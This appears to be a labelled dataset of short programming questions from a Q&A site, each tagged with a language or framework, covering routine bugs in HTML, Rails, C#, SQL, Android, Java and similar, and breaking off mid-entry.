loop video and hide controls in firefox html  i have this code  works fine on ie  but in the firefox  it shows the controls and dont loop  how can i fixe it     heres the code:   <pre><code> &lt;embed type= application/x-mplayer2  pluginspage= http://www.microsoft.com/windows/mediaplayer/  name= mediaplayer1  showstatusbar= none  enablecontextmenu= false  autostart= true  height= 580  width= 564  loop= true  repeat= true  src= videos\separador2.wmv  showcontrols=0&gt; &lt;param name= uimode  value= invisible &gt; &lt;param name= animationatstart  value= true &gt; &lt;param name= transparentatstart  value= true &gt; &lt;param name= autostart  value= true &gt; &lt;param name= playstate  value= true &gt; &lt;param name= loop  value= true &gt; &lt;/object&gt;  </code></pre>,html
no route matches [patch]  /posts/my-second-post   i am getting the following error an update to an existing post on the blog app (rails):    i changed <code>author_posts_path</code> to <code>author_post_path</code> when i was getting an error    <blockquote>    no route matches [patch]  /posts/my-second-post   </blockquote>   now  i m getting a new error as follows:   <blockquote>    actioncontroller::urlgenerationerror in blog::posts#index        showing c:/users/royal and carla/desktop/testblog3c/app/views/layouts/_navbar.html.erb where line #18 raised:        no route matches {:action=> show   :controller=> author/post }  missing required keys: [:id]  </blockquote>   views/layouts/_navbar.html.erb   <pre><code>16     &lt;/li&gt;  17        &lt;li class= nav-item &gt; 18        &lt;%= link_to  my posts   author_post_path  class:  nav-link #           {yield(:author)}  %&gt; 19     &lt;/li&gt;    20    &lt;/ul&gt; 21  &lt;/div&gt; </code></pre>   ontrollers/author/posts_controller.rb   <pre><code>private       def set_post         @post = post.friendly.find(params[:id])       end              def post_params         params.require(:post).permit(:title  :body  :description  :banner_image_url)       end </code></pre>,ruby-on-rails
exception got while sending email  i copy that code  mailmessage mail = new mailmessage();   <pre><code>        mail.to.add(model.to);          mail.from = new mailaddress( sheikh.abm@gmail.com );           mail.subject = model.subject ;          mail.body = model.message;          mail.isbodyhtml = true;          smtpclient client = new smtpclient( localhost: );         client.usedefaultcredentials = false;         client.enablessl = true;         client.host =  localhost: ;         client.port = 25;          networkcredential credentials = new networkcredential(model.to   abc );          client.credentials = credentials;          try         {             client.deliverymethod = smtpdeliverymethod.pickupdirectoryfromiis;             client.send(mail);         }         catch         {            }         return view( index );     } </code></pre>   the exception i got is  ssl must not be enabled for pickup-directory delivery methods  .,asp.net
app quits on launch  i just posted an update of my app to appstore. it was approved by apple. it has been tested on 2 iphone devices (3g - 3gs with 3.1.2). it worked fine but when downloaded from appstore it doesn t launch  just displayed the default screen and returned to iphone menu. i have no idea where to look. any help will be greatly appreciated.,iphone
mutable default argument in built-ins  we all know the <a href= https://stackoverflow.com/questions/1132941/least-astonishment-and-the-mutable-default-argument > dreaded mutable default argument </a>    i was surprised to find that there is at least one built-in that uses a mutable default argument  <code>deepcopy</code> (and the related <code>__deepcopy__</code>).    <code>def deepcopy(x  memo=none  _nil=[]):</code>    <a href= https://github.com/python/cpython/blob/f381cfe07d15d52f27de771a62a8167668f0dd51/lib/copy.py#l137  rel= nofollow noreferrer >source</a>     is this just an overlook by the module s authors or is there something special about <code>deepcopy</code> s behavior that justifies this,python
ec# multithreading control ui  this function runs in an other thread. i want to control some checkboxes. the checkboxes are in an arraylist i have no idea why this is not working    <pre><code>private void aktu_pin()     {         networkstream ns = server.getstream();         int recv;         controlui ui = new controlui(changecheckbox);          data = new byte[1024];         while (true)         {             recv = ns.read(data  0  data.length);              if ((data[0] == 0) &amp;&amp; (data[1] == 0) &amp;&amp; (data[2] == 0) &amp;&amp; (data[3] == 0))             {                 for (int i = 4; i &lt; data.length; i++)                 {                     if (zuweisung(i - 4) &gt;= 0)                     {                         checkbox c = (checkbox)checkboxes[zuweisung(i - 4) - 1];                          bool t = data[i] == 1   true : false;                         if (c.invokerequired)                         {                             invoke(new methodinvoker(delegate { c.checked = t; }));                         }                     }                 }             }         }      } </code></pre>   this is the code where i generate the checkboxes:   <pre><code> for (int j = 1; j &lt;= 20; j++)         {             for (int i = 1; i &lt;= 2; i++)             {                 checkbox pins = new checkbox();                  checkboxes.add(pins);                  pins.appearance = appearance.button;                 pins.font = new font( microsoft sans serif   5f);                 pins.location = location = new point(j * 20  502 - i * 20);                 pins.name =  pin  + ((j) + (20 * (i - 1))).tostring();                 pins.mousehover += new eventhandler(this.pin_mousehover);                 pins.size = new size(15  15);                 pins.tabindex = 12;                 pins.text =    ;                 pins.bringtofront();                 pins.usevisualstylebackcolor = true;                 controls.add(pins);                 pins.click += new eventhandler(pinsclick);             }         } </code></pre>   thanks for your help,c#
uitabbarcontroller without navigationcontroller   i wonder if it is possible to create a uitabbarcontroller without declaring  one uinavigationcontroller     because in some examples that i find on the internet  all make use of navigationcontroller and then report a tab bar  as i am a beginner  i would like you answer me the question above,objective-c
how come this way of checking undefined does not work   can someone take a look at this code  apparently they are not equivalant.    this was my original code which did not behave as i want to. basically  what i want is to validate the variable only when it is defined. ignore the logs. they were for debugging. <strong>this does not work as expected</strong>   <pre><code>let { fullname  email  password } = userinformation;    if(email){     console.log( email is defined );     if(!validator.isemail(email)) {       errors.email =  please enter a valid email address ;     }   }    if(fullname){     console.log( fullname is defined );     if(validator.isempty(fullname)){       errors.fullname =  fullname is required ;     }   }    if(password){     console.log( password is defined );     if(validator.isempty(password)){       errors.password =  password is required ;     }   } </code></pre>   <strong>this works as expected</strong>. why is it so    <pre><code>let { fullname  email  password } = userinformation;    if(!email){     console.log( email is defined );     if(!validator.isemail(email)) {       errors.email =  please enter a valid email address ;     }   }    if(!fullname){     console.log( fullname is defined );     if(validator.isempty(fullname)){       errors.fullname =  fullname is required ;     }   }    if(!password){     console.log( password is defined );     if(validator.isempty(password)){       errors.password =  password is required ;     }   } </code></pre>   edit: basically what i want to happen is to run the validations if the variable is <strong>defined</strong>. what s currently is that its not validating unless i do like the second example,javascript
android gps permission in marshmallow  as we know in marshmallow we need to ask permission from users. recently i have installed bookmyshow and found there is no dialog pop up for permission. when i checked from setting->app  all required permissions were there. how do they do it  ..,android
in objective-c  why is casting needed when assigning to a variable whose type is specified   this use of type casting comes up a lot  e.g. in a button tap action:   <pre><code>uibutton *button = (uibutton *)sender; </code></pre>   my question is why the explicit cast  (uibutton *)  is necessary. doesn t assigning the value of  sender  to variable  button  already effectively cast it as a pointer to uibutton,objective-c
how to clone an image multiple times on page load in javascript  i have been trying hard to solve this problem  but unsuccessful so far.. i am a beginner in javascript with little understanding  so any help should be greatly appreciated. basically  i have one image that i would like to display multiple times on page load  but using a random number between 15 and 30. so  if the random number is 15  i would like to clone the image 15 times on page load. i am not sure whether it is clear or not  but let us say i use this function to find the random number: math.floor(math.random()*16)+15; but  i do not know how to link this random number to my image so that it is displayed on page load. thanks in advance for your help.,javascript
select rows where id is not linked to user in separate table  i have three tables  one of users  one of cases  and one with links between users and cases. more than one user can be linked to a case. for example  assuming the user id in question is  18 :   <pre><code>cases  id  |  other columns ------------------------- 001 | n/a 002 | n/a 003 | n/a   links  case_id | user_id ------------------------- 001     | 12 001     | 18 003     | 06 002     | 05 </code></pre>   as you can see  case 001 has two users linked  one being our user  18   the other 2 cases do not have user  18  linked.    so the question is - how do i select all cases where there is no link to user id 18  (results would be cases 002 and 003  since there is no rows linking those cases to user 18),mysql
using integer as an enumeration value <pre><code>#include &lt;stdio.h&gt;  enum {aa  bb  cc} s;  int main() { s = 4; printf( %d\n  s); return 0; } </code></pre>   the compiler doesn t give any warning and prints 4. what is happening behind the scene  is <code>s</code> treated as an <code>int</code> type,c
creating a dll using libcurl in c++ with mingw <pre><code>**how to make a dll using libcurl. can you share me a sample code.**    #include &lt;math.h&gt;    #include &lt;stdio.h&gt;    #include &lt;stdlib.h&gt;     #include &lt;string.h&gt;     #include &lt;iostream&gt;     #include &lt;curl/curl.h&gt;     using namespace std; string data; typedef    #ifdef building_testcurl_dll    #define testcurl_dll __declspec(dllexport)    #else    #define testcurl_dll __declspec(dllimport)    #endif                   curl_global_init(curl_global_all); //pretty obvious                 curl = curl_easy_init();                  curl_easy_setopt(curl  curlopt_url  lpurl);                 curl_easy_setopt(curl  curlopt_writefunction  &amp;writecallback);                 curl_easy_setopt(curl  curlopt_writedata  &amp;response);                 curl_easy_perform(curl);                  if (data ==  1 )                 {                     //printf( successfull );                     strcpy(result   1 );                   }                  v5 = 1;                 curl_easy_cleanup(curl);                 curl_global_cleanup();      size_t testcurl_dll writecallback(char* buf  size_t size  size_t    nmemb  void* up) {       for (int c = 0; c&lt;size*nmemb; c++)  {       data.push_back(buf[c]);         //printf(    buf[c]);   }   return size*nmemb; //tell curl how many    bytes we handled } </code></pre>   i run this code with mingw: g++ -shared -o testcurl.dll testcurl.o           -wl --out-implib libcurldll.a    it shows error: undefined reference to  _imp_curl_easy_setopt  undefined reference to  _imp_curl_easy_perform  undefined reference to  _imp_curl_easy_init         please help me for developing a dll file using curl.,c++
i want register new app in soundcloud but it says register new app (currently unavailable)  i want to integrate soundcloud api in my ios app  so i need soundcloud client id. but soundcloud developer console does not provide to me register new app for my client id.    anyone help me please.    thanks.,ios
integrating application with default in android  i am currently writing an application which performs a search operation requested by the server at a pre-defined server location. now   i need to integrate this application into the default search that is provided on the android device i.e.. it should appear as an option for the user to perform his search ... like there are options to search the web   android market etc.. so   i should have my app also besides this ...    i am in a fix as to how to do this. any suggestions  help of any kind   links to tutorials   articles are highly appreciated.     thank you,android
popup not showing in jquery code  i have a piece of code of jquery but i can t make it run in a html page.    i am new to jquery  so i would appreciate your help. the code is intended to show 3 pop ups one after the other when the users loads the web page. when user closes the first one than the next one opens.     but i can t make it appear. the pop ups will open only when the users are logged in to facebook.     here is the code:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;script src= http://code.jquery.com/jquery-1.9.1.js &gt;&lt;/script&gt;     &lt;script src= http://code.jquery.com/ui/1.10.3/jquery-ui.js &gt;&lt;/script&gt;     &lt;link rel= stylesheet  href= http://code.jquery.com/     ui/1.10.3/themes/smoothnes/jquery-ui.css  /&gt;      &lt;title&gt;demo&lt;/title&gt; &lt;/head&gt;  &lt;body&gt;     &lt;script type= text/javascript &gt;         var o;                 var arraycontent = [ &lt;h1&gt;my first pop up!&lt;/h1&gt;                             &lt;img src= http://www.leastedisoha.com/immagini/                             fumetti/01.jpg  title=   width= 554                               border= 0  /&gt;&lt;h1&gt;segue&lt;/h1&gt;&lt;br /&gt;                                &lt;img src= http://www.leastedisoha.com/immagini/                             fumetti/02.jpg  title=    width= 554                              border= 0  /&gt;&lt;h1&gt;segue&lt;/h1&gt;&lt;br /&gt;                                &lt;img src= http://www.leastedisoha.com/immagini/                             fumetti/03.jpg  title=   width= 554  border= 0  /&gt;&lt;br /&gt; ];          jquery(document).ready(function($){              $my_overlay = $( &lt;div id= box-facebook                              style= text-align:center; margin:0 auto; &gt;  +                              &lt;h1 style= margin:30px; margin-bottom:20px; &gt;qual\ è la tua   prova..&lt;/h1&gt;  +                              &lt;iframe width= 290  height= 130                               frameborder= no  style= margin:0 0 30px 0;                                   padding:0; border:none;  border= 0                              src= http://www.leastedisoha.com/slot-new &gt;                             &lt;/iframe&gt;  +                              &lt;br /&gt;  +                              &lt;/div&gt; ).dialog({                                 modal: true                                  autoopen: false                                  width: 600                              });          });           $.getscript(  https://www.facebook.com/         people/jens-lübberstedt/1009310897           function( data  textstatus  jqxhr ) {             $my_overlay.dialog( open );             o = $my_overlay.offset();             $( #boxclick ).css( { top: o.top - 23  left: o.left + 575 } );             $my_overlay.on(  dialogdragstop   function( event  ui ) {                 o = $my_overlay.offset();                 $( #boxclick ).css( { top: o.top - 23  left: o.left + 575 } );         } );     });       &lt;/script&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,jquery
select a file to upload on one page and upload file on another page  i have a multi-step wizard. i would like to let user to <strong>select</strong> a file on one page (step #2  for example of the 6-step process)  but i want files to be actually uploaded on the last page (confirmation page  step #6).    is it possible to prompt and capture local file system path on one page  and then upload that file later.    is single-page-like wizard my only option to accommodate for this workflow,html
rails find_each method returning nill on console  <pre><code>user.find_each do |user|   user.name end </code></pre>   output:   <pre><code>user load (0.9ms)  select  `users`.* from `users`  order by `users`.`id` asc limit 10000 =&gt; nil </code></pre>   i am having records in my user table but it always return nill,ruby-on-rails
words per minute iphone sdk  i need to calculate words per minute while typing in textfield. it is typing speed calculator and it provides user text need to be typed in the lable above textfield. please give me some idea how to get started and what events to use.    thanks you.,iphone
android web service call asynchronously every 5 seconds  i want to call one web service after every 5 seconds in 1 min. means in 1 min i want to call webservice 12 times. i want to do this asynchronously.   <pre><code>class addstringtask extends asynctask&lt;void  string  void&gt; {      private final progressdialog dialog = new progressdialog(homescreen.this);      protected void onpreexecute() {      }      protected void doinbackground(void... unused)     {          return(null);     }      @override     protected void onpostexecute(void unused) {            this.dialog.dismiss();      } } </code></pre>   i know this can be done with this code. bt doinbackground only executes once. i can not implement timer also in doinbackground method.,android
controller in angular can t be initialized globally after 1.3  i am trying to learn controllers and scopes in angularjs  but i always get this <code>error: [ng:areq] argument  studentcontroller  is not a function  got undefined</code>  when i run this code.   <pre><code>&lt;html &gt; &lt;head&gt;     &lt;title&gt;angularjs&lt;/title&gt;     &lt;script src= script/angular.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt;     &lt;div ng-app=   ng-controller= studentcontroller &gt;         &lt;div class= container  &gt;             &lt;input type= text  ng-model= name &gt;             &lt;br&gt;             &lt;h2&gt;list name using ng-init and ng-repeat&lt;/h2&gt;             &lt;ul&gt;                 &lt;li ng-repeat= cust in customers | filter : name | orderby: city   &gt;                     {{ cust.name }} - {{ cust.city }}                 &lt;/li&gt;             &lt;/ul&gt;         &lt;/div&gt;     &lt;/div&gt;       &lt;script&gt;         function studentcontroller($scope) {             $scope.customers = [                 {name :  john smit   city :  ifrane }                  {name :  nurcan turkey   city :  izmir }                  {name :  laura keller   city :  cologne }                  {name :  sam haimoura   city :  harhoura }                  {name :  brayan amid   city :  casablanca }             ];         };     &lt;/script&gt;  &lt;/body&gt; </code></pre>       even though this code is somehow directly from a tutorial. can someone please tell me what s wrong with this code,angularjs
file download dialogue is not displayed when we download a file  click to download excel file    i am using the above hyper link in my application to allow the users to download an excel file.when i click on the hyperlink button it is displaying a file download dialogue box  but when i do the same thing in the server it is opening the excel file as a web page.    what would be the reason for this issue     please help.,asp.net
jquery how to .scrollto() inside .scroll() on if() statement   how do i use <code>.scrollto()</code> with an <code>if()</code> statement inside the <code>.scroll()</code> handler     here s my code so far:   <pre><code>scrolltopage = function() {     $(document).scrollto($( .page )  750  { easing:  easeinoutcubic  }); }  $(window).scroll(function() {     if ($(this).scrolltop() &gt;= ($(this).height()-107)) {         $( .page ).addclass( page-top );         $( header ).css({position:  fixed });     }     else {         scrolltopage();      //  this part doesn t work     } }); </code></pre>   so basically  <code>if</code> the scrolling reaches a certain point (windowheight-107)  the actual content-page is at the top of the window  and the header will get positioned fixed.    but <code>else</code> (when the content-page is not at the top)  i want it to scroll automatically to it.    however  it tries to scroll to it again after this first time  everytime i want to scroll further or back. it seems to get stuck.    what s exactly happening here  and how do i get around this     anyone,jquery
remove controller from friendly url  i have written freindly urls for the show action of the school resource but now have     before i had ;   <pre><code>http://webaddress/schools/2 </code></pre>   and now i have;    <pre><code>http://webaddress/schools/school_name </code></pre>   however  i want   <pre><code>http://webaddress/school_name </code></pre>   my config routes look like this for the resource;   <pre><code>resources :schools do   collection do     match  search  =&gt;  schools#search   via: [:get  :post]  as: :search   end </code></pre>   end    how can i achieve that  thank you,ruby-on-rails
how to set element height for a fixed number of lines of text  given some text that occupies about 10 rows  how can i resize its container to only show the first 3 rows and hide the others  apparently this works  but i think it is not reliable:   <pre><code>.container {     height: 7.5ex; /* 2.5ex for each visible line */     overflow: hidden; } </code></pre>   can i rely on the fact that <code>height of one row = 2.5ex</code> or is that just a coincidence in the browsers i am using to test,css
distinct in the cursor does not work...   prompt  something i can not understand  distinct in the cursor does not work or what  have a cursor with a distinct  which i get around in a loop .. if the request from the cursor to perform separately  then returns 1 record  if distinct clean  there will be 2 entries. a loop through the cursor with distinct runs 2 times.   <pre><code>declare cur cursor for    select distinct t.datpr  a.account_no    from postgkh.tt_krd t    inner join postgkh.account a on t.ls = a.account_no    inner join postgkh.resid rid using(account_id)    inner join postgkh.reseller r using(reseller_id)    where r.reseller_id = rid    order by a.account_id; declare continue handler for sqlstate  02000  set done = 1;   open cur;   repeat  fetch cur into pr_date accid  accno;  set lim_fp = postgkh.get_account_fp(accid) - interval 1 day;  if(lim_fp&gt;pr_date) then   if(tmp is null or tmp&lt;&gt;accno) then    set tmp = accno;    set err = concat(err      accno);   end if;  end if;   until done end repeat;   close cur; </code></pre>,mysql
aviary sdk customization issue  hello i am using aviary sdk in ios. i want to change navigation bar color in aviary sdk.can anybody know about it.    thanks.,ios
why the previous data is still got in this code   i want to get all the filenames inside all subdirectories of a parent directory. here is the code :   <pre><code>$rep =  . ;     if (file_exists($rep))     {         $mydirectory = opendir($rep);          while($entryname = readdir($mydirectory)) {             $dirarray[] = $entryname;         }          closedir($mydirectory);          $indexcount = count($dirarray);          sort($dirarray);          $resultat =   ;          for($index=0; $index &lt; $indexcount; $index++)          {             if (substr( $dirarray[$index]   0  1) !=  .  &amp;&amp; is_dir($dirarray[$index]) &amp;&amp; is_numeric($dirarray[$index]))             {                 $resultat .= $dirarray[$index]. ; ;     // dossier de photos d un client                  $repclient = $dirarray[$index];                 $clientdirectory = opendir($repclient);                 while($photoname = readdir($clientdirectory))                  {                     $photoarray[] = $photoname;                 }                 closedir($clientdirectory);                  $photocount = count($photoarray);                  sort($photoarray);                  for ($img = 0; $img &lt; $photocount ; $img++)                 {                     if (substr( $photoarray[$img]   0  1) !=  . )                     {                         $resultat .= $photoarray[$img]. ; ;                     }                 }                 echo  $resultat&lt;br/&gt; ;             }         }     } </code></pre>   my problem is that there are actually two subdirectories inside the parent directory   and each of these two subdirectories has only one file ( photo31.png and photo32.png respectively ). when i open the webpage containing this script then i got this output :   <pre><code>7455573;photo31.png; 7455573;photo31.png;7455575;photo31.png;photo32.png; </code></pre>   so why does the <code>photo31.png</code> file is still got in the second line of the output,php
sql basic issue <pre><code>   select x_pick.prod_code  x_order.order_state  x_pick.pick_state  x_pick.pick_qty  x_pick.pick_location  x_order.wave_id  x_prod.normal_pick_area  x_apr_loc.location  x_order.reqd_despatch_time  x_prod.bncd_awkward_item  sub1.loc_count from x_pick  x_order  x_prod  x_apr_loc   (select x_pick.prod_code  count(distinct( x_apr_loc.location)) as loc_count from x_apr_loc  x_pick where x_apr_loc.prod_code (+) = x_pick.prod_code group by x_pick.prod_code) sub1   (select x_prod.normal_pick_area x_pick.pick_location  (case when  x_prod.normal_pick_area =  tp  then  miniload  when x_prod.normal_pick_area =  mtp  then  miniload  when x_prod.normal_pick_area =  pl  then  pallet live  when x_prod.normal_pick_area =  hlop  then  hlop  when x_prod.normal_pick_area =  stillage  then  high value  when x_prod.normal_pick_area =  za  then  aerosol  when x_prod.normal_pick_area =  zh  then  haz shed  when x_prod.normal_pick_area =  apr  and substr(x_pick.pick_location 3 2) &lt; 22 and x_prod.bncd_awkward_item =  yes   then  apr awkward  when x_prod.normal_pick_area =  apr  and substr(x_pick.pick_location 3 2) &lt; 22 and x_prod.bncd_awkward_item =  no   then  apr  when x_prod.normal_pick_area =  apr  and substr(x_pick.pick_location 3 2) &gt; 21 and x_prod.bncd_awkward_item =  no   then  apr 2  when x_prod.normal_pick_area =  apr  and substr(x_pick.pick_location 3 2) &gt; 21 and x_prod.bncd_awkward_item =  yes   then  td1  else  unknown  end) from x_pick) area    where x_pick.prod_code  (+) = sub1.prod_code and x_pick.prod_code = x_apr_loc.prod_code (+) and x_pick.prod_code = x_prod.prod_code and x_pick.order_id = x_order.order_id and x_pick.pick_state in( reserved   wait replen   started ) and x_order.order_state in( reserved   started ) </code></pre>   part of a larger query. initially i am getting an invalid parathensis message  i can get rid of this but am them getting invalid identifier error message  even though all the fields i m using have been called. i am pretty new to sql so any help would be great!.,sql
c++ date difference-  i have dates in string format-for example-   <pre><code>string date1=  06/12/2014  string date2=  06/12/2015  </code></pre>   now my requirement is to find the no of difference days(date2-date1) between these two dates-    and it has to be used in c++ code-    any quick help will be appreciated-thanks,c++
html ordered list ol  add space between number and text  i want to add space between number of ordered list and text    ex :    <pre><code> 1.     hello.  2.     test. </code></pre>   space between  1.  and  hello  needs to be increased.    note: i m using below style  because i want no. to start with left most   <pre><code>    ol     {         word-break: break-all;     }     li     {                list-style-position: inside;         padding: 0;     } </code></pre>   i want exactly like below image  im able to get everything other than the space between numbering of list and text(marked in the image) <a href= https://i.stack.imgur.com/y4zto.jpg  rel= noreferrer ><img src= https://i.stack.imgur.com/y4zto.jpg  alt= enter image description here ></a>,html
where do you declare a constant in objective c   i declared a constant in a header file <code>const double earth_radius=6353;</code> that is imported to various other headers and i got a linker error.       <pre><code>ld /users/teguh/library/developer/xcode/deriveddata/badgernew-bjopcgcgsjkcvcevflfbvsjwfgnu/build/products/debug-iphonesimulator/badgernew.app/badgernew normal i386     cd /users/teguh/dropbox/badgers/badgernew     setenv macosx_deployment_target 10.6     setenv path  /developer/platforms/iphonesimulator.platform/developer/usr/bin:/developer/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin      /developer/platforms/iphonesimulator.platform/developer/usr/bin/llvm-g++-4.2 -arch i386 -isysroot /developer/platforms/iphonesimulator.platform/developer/sdks/iphonesimulator4.3.sdk -l/users/teguh/library/developer/xcode/deriveddata/badgernew-bjopcgcgsjkcvcevflfbvsjwfgnu/build/products/debug-iphonesimulator -f/users/teguh/library/developer/xcode/deriveddata/badgernew-bjopcgcgsjkcvcevflfbvsjwfgnu/build/products/debug-iphonesimulator -filelist /users/teguh/library/developer/xcode/deriveddata/badgernew-bjopcgcgsjkcvcevflfbvsjwfgnu/build/intermediates/badgernew.build/debug-iphonesimulator/badgernew.build/objects-normal/i386/badgernew.linkfilelist -mmacosx-version-min=10.6 -xlinker -objc_abi_version -xlinker 2 -framework corelocation -framework uikit -framework foundation -framework coregraphics -framework coredata -o /users/teguh/library/developer/xcode/deriveddata/badgernew-bjopcgcgsjkcvcevflfbvsjwfgnu/build/products/debug-iphonesimulator/badgernew.app/badgernew  ld: duplicate symbol _earth_radius in /users/teguh/library/developer/xcode/deriveddata/badgernew-bjopcgcgsjkcvcevflfbvsjwfgnu/build/intermediates/badgernew.build/debug-iphonesimulator/badgernew.build/objects-normal/i386/nearbyisikota.o and /users/teguh/library/developer/xcode/deriveddata/badgernew-bjopcgcgsjkcvcevflfbvsjwfgnu/build/intermediates/badgernew.build/debug-iphonesimulator/badgernew.build/objects-normal/i386/frontpageofbadger.o for architecture i386 collect2: ld returned 1 exit status </code></pre>   basically i want the constant to be available for all classes on my project. where should i declare it,objective-c
suppress morenavigationcontroller in custom uitabbarcontroller  i have implemented a custom uitabbar solution for a project. essentially  if there are more than 5 items  i use a scrollview that will allow the user to scroll through the additional tab items and suppresses the more button. a similar look and feel can be seen in the weather channel app.     each tab bar item corresponds to a uinavigationcontroller that manages the stack of views for each tab. the issue i m having is when i have more than 5 tab items  from tab 5 onward does not correctly maintain the navigation stack. it seems that the morenavigationcontroller kills the navigation stack each time you return to that tab and you are brought to the initial page again.    i ve overridden the setselectedviewcontroller method as follows:   <pre><code>- (void) setselectedviewcontroller:(uiviewcontroller *)selectedviewcontroller {     [super setselectedviewcontroller:selectedviewcontroller];     if ([self.morenavigationcontroller.viewcontrollers count] &gt; 1) {         self.morenavigationcontroller.viewcontrollers = [[nsarray alloc] initwithobjects:self.morenavigationcontroller.visibleviewcontroller  nil];     } } </code></pre>   this code will remove the more functionality on the left nav button but it doesn t solve the issue of maintaining the navigation stack. all other tabs work fine. i can traverse down several views and the stack is maintained after i leave and return to that tab. i understand that this is a complicated issue so please let me know if there are areas where i can provide clarity. thanks!,ios
group by clause with top record - mysql  i have written the following sql query which works great   <pre><code>select  w.lineitems_lineitemid        p.currentrate        p.currenteffectivedate    from workorderlineitems w    join payscaleloacljobcodes p      on p.jobcodeid = w.lineitems_lineitemid   where p.payscaleslocal_id = 29    and w.workordercurrent_workorderid = 120420    and p.currenteffectivedate &lt;=  2018-05-27    order      by p.currenteffectivedate desc </code></pre>   shows following results    <a href= https://i.stack.imgur.com/xwfat.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/xwfat.png  alt= enter image description here ></a>    is there a way to return only a single that is the top record  i do not want to show multiple records only the first record in the resulset,mysql
using assert java  i m having trouble understanding how assert in java works. i want to make so that if the assert is not true then the test should fail. the following example should returns false but the test does not fail. what i m i missing     example:   <pre><code>package test;  public class tests {     public static void main(string[] args) {         // todo auto-generated method stub         tests s = new tests();         s.approve(500);     }     public   boolean approve(int age)     {         assert (age &lt; 60) : test failed  ;         if (age &gt; 100)         {             return true;         }         else         {             return false;         }     } } </code></pre>,java
if none of the above python  i have a series of checks i need to run on sensor data  the checks are all independent so they can t be formatted as elifs or elses  if any checks fail  i need to print this to the user. if none of the checks fail i want to tell the user the sensor is okay    (i is just an iterator going over all the sensors in the array)   <pre><code>if worst_stdev[i] &gt; 5:     print( sensor bad  stdev value: {} .format(worst_stdev[i])) if worst_invalid[i] &gt; 2:     print( sensor bad  invalid value: {} .format(worst_invalid[i])) if worst_err[i] &gt; 1:     print( sensor bad  error value: {} .format(worst_bit_err[i])) if not (worst_stdev[i] &gt; 5 or worst_invalid[i] &gt; 2 or worst_err[i] &gt; 1):     print( sensor ok ) </code></pre>   the last if statement bugs me the most  it feels redundant (and possibly slower ) to check again for all the things i ve already checked. is there good way to make this more elegant,python
rails: unsupported: trueclass error  i am getting an error i have never seen before <code>unsupported: trueclass</code> when i try to view my <code>users#show</code> page.  i have a basic to do app with <code>lists</code> and <code>items</code>. i had this code and it was working just fine:   <pre><code>    &lt;% if @lists.count != 1 %&gt;       &lt;li&gt;&lt;%= @lists.count %&gt; personal lists&lt;/li&gt;     &lt;% else %&gt;       &lt;li&gt;&lt;%= @lists.count %&gt; personal list&lt;/li&gt;     &lt;% end %&gt;      &lt;% if @shared_lists.count != 1 %&gt;       &lt;li&gt;&lt;%= @shared_lists.count %&gt; shared lists&lt;/li&gt;     &lt;% else %&gt;       &lt;li&gt;&lt;%= @shared_lists.count %&gt; shared list&lt;/li&gt;     &lt;% end %&gt;      &lt;% if @items_delegated_to.count != 1 %&gt;       &lt;li&gt;&lt;%= @items_delegated_to.count %&gt; tasks delegated to me&lt;/li&gt;     &lt;% else %&gt;       &lt;li&gt;&lt;%= @items_delegated_to.count %&gt; task delegated to me&lt;/li&gt;     &lt;% end %&gt; </code></pre>   but when i added this block the error appeared:   <pre><code>    &lt;% if @items_delegated_by.count != 1 %&gt;  ***error called on this line***       &lt;li&gt;&lt;%= @items_delegated_by.count %&gt; tasks delegated to others&lt;/li&gt;     &lt;% else %&gt;       &lt;li&gt;&lt;%= @items_delegated_by.count %&gt; task delegated to others&lt;/li&gt;     &lt;% end %&gt; </code></pre>   here is my <code>users_controller</code>:   <pre><code>class userscontroller &lt; applicationcontroller   def show     @user = user.find(params[:id])     @lists = current_user.lists     @items = current_user.items     @shared_lists = @lists.where(:shared_with == current_user.id)     @items_delegated_by = @items.where(:delegated_to !=   )     @items_delegated_to = @items.where(:delegated_to == current_user.email)   end end </code></pre>   this is mysterious because it really isn t very different from the code preceeding it that worked without issue.  can anyone explain a what an unsupported <code>trueclass</code> is or why i m getting this error,ruby-on-rails
what is the difference between $scope and $rootscope in angularjs   what is  difference between <em>$root</em> and <em>$rootscope</em> in angularjs and how does it work,angularjs
the method setdefaultpushcallback in the type pushservice is not applicable  error :    <code>the method setdefaultpushcallback(context  class&lt;  extends activity&gt;) in the type pushservice is not applicable for the arguments (new runnable(){}  class&lt;menuactivity&gt;)</code>    following <a href= https://www.parse.com/tutorials/android-push-notifications  rel= nofollow >parse push notifications tutorial</a>    above error showing    <pre><code>try {         runonuithread(new runnable() {             public void run() {                 getotherdata getotherdata = new getotherdata();                 getotherdata.execute();                 pushservice.setdefaultpushcallback(this  menuactivity.class);                 parseinstallation.getcurrentinstallation().saveinbackground();                 parseanalytics.trackappopened(getintent());              }         });     } catch (exception e) {         e.printstacktrace();     } </code></pre>,android
how can i return throws in java with false   for example :   <pre><code>public abstract boolean iscolumnfull(int col) throws illegalcolumnexception {     for (int i=0;i&lt;6;i++) {      for (int j=0;j&lt;7;j++) {          if ((col&gt;=0) &amp;&amp; (col&lt;=6))              return true;      else false;  } </code></pre>   how can i return false and use the throws for illegalcolumnexception     thanks.,java
ruby on rails mail routine not sending  i have a ror if statement that is supposed to look up a record and then send emails based on the login can anyone tell me what is wrong in the syntax     this is now working but there is two test cases that return activerecord::recordnotfound (couldn t find signon with userw1 = xxx@example.com):   app/models/order.rb:219:in `submit_order    <pre><code>        class order &lt; activerecord::base  # note: ensure that you always setup methods here to include and filter on # query_account_number as a security measure.  establish_connection  web_#{rails_env}  has_many :order_details  :dependent =&gt; :destroy  :order =&gt;  id desc   def self.delete_item query_account_number  login  id     order = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login})     detail = order.order_details.first(:conditions =&gt; {:id =&gt; id})     detail.destroy if detail     # here we would delete the order  but have chosen to leave it so they do not have     # questionable gaps in ids. end  def self.verify_upc1 upc_rule  upc1      invalid upc prefix  unless item.first(:conditions =&gt; [ rul31c =   and concat(trim(comi1c)   a ) =     upc_rule  upc1 +  a ]          :select =&gt;  style ) end  def self.verify_upc2 upc_rule  upc1  upc2      invalid upc prefix or subnumber  unless item.first(:conditions =&gt; [ rul31c =   and concat(trim(comi1c)  concat(trim(arsb1c)   a )) =     upc_rule  upc1 + upc2 +  a ]          :select =&gt;  style ) end  def self.verify_style upc_rule  style      invalid style  unless item.first(:conditions =&gt; [ rul31c =   and concat(trim(style)   a ) =     